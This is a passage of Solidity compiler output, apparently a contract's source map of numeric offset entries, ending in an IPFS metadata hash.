;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;4943:184::-;5013:6;5066:2;5054:9;5045:7;5041:23;5037:32;5034:52;;;5082:1;5079;5072:12;5034:52;-1:-1:-1;5105:16:1;;4943:184;-1:-1:-1;4943:184:1:o;5411:277::-;5478:6;5531:2;5519:9;5510:7;5506:23;5502:32;5499:52;;;5547:1;5544;5537:12;5499:52;5579:9;5573:16;5632:5;5625:13;5618:21;5611:5;5608:32;5598:60;;5654:1;5651;5644:12;6045:251;6115:6;6168:2;6156:9;6147:7;6143:23;6139:32;6136:52;;;6184:1;6181;6174:12;6136:52;6216:9;6210:16;6235:31;6260:5;6235:31;:::i;7222:306::-;7310:6;7318;7326;7379:2;7367:9;7358:7;7354:23;7350:32;7347:52;;;7395:1;7392;7385:12;7347:52;7424:9;7418:16;7408:26;;7474:2;7463:9;7459:18;7453:25;7443:35;;7518:2;7507:9;7503:18;7497:25;7487:35;;7222:306;;;;;:::o;10265:125::-;10330:9;;;10351:10;;;10348:36;;;10364:18;;:::i;10750:135::-;10789:3;10810:17;;;10807:43;;10830:18;;:::i;:::-;-1:-1:-1;10877:1:1;10866:13;;10750:135::o;10890:128::-;10957:9;;;10978:11;;;10975:37;;;10992:18;;:::i;11023:217::-;11063:1;11089;11079:132;;11133:10;11128:3;11124:20;11121:1;11114:31;11168:4;11165:1;11158:15;11196:4;11193:1;11186:15;11079:132;-1:-1:-1;11225:9:1;;11023:217::o;11779:127::-;11840:10;11835:3;11831:20;11828:1;11821:31;11871:4;11868:1;11861:15;11895:4;11892:1;11885:15;11911:980;12173:4;12221:3;12210:9;12206:19;12252:6;12241:9;12234:25;12278:2;12316:6;12311:2;12300:9;12296:18;12289:34;12359:3;12354:2;12343:9;12339:18;12332:31;12383:6;12418;12412:13;12449:6;12441;12434:22;12487:3;12476:9;12472:19;12465:26;;12526:2;12518:6;12514:15;12500:29;;12547:1;12557:195;12571:6;12568:1;12565:13;12557:195;;;12636:13;;-1:-1:-1;;;;;12632:39:1;12620:52;;12727:15;;;;12692:12;;;;12668:1;12586:9;12557:195;;;-1:-1:-1;;;;;;;12808:32:1;;;;12803:2;12788:18;;12781:60;-1:-1:-1;;;12872:3:1;12857:19;12850:35;12769:3;11911:980;-1:-1:-1;;;11911:980:1:o

ipfs://f6086b735114163b3ee1b68419ba8aad37493d82054dcbf715e6e74dfcbe8912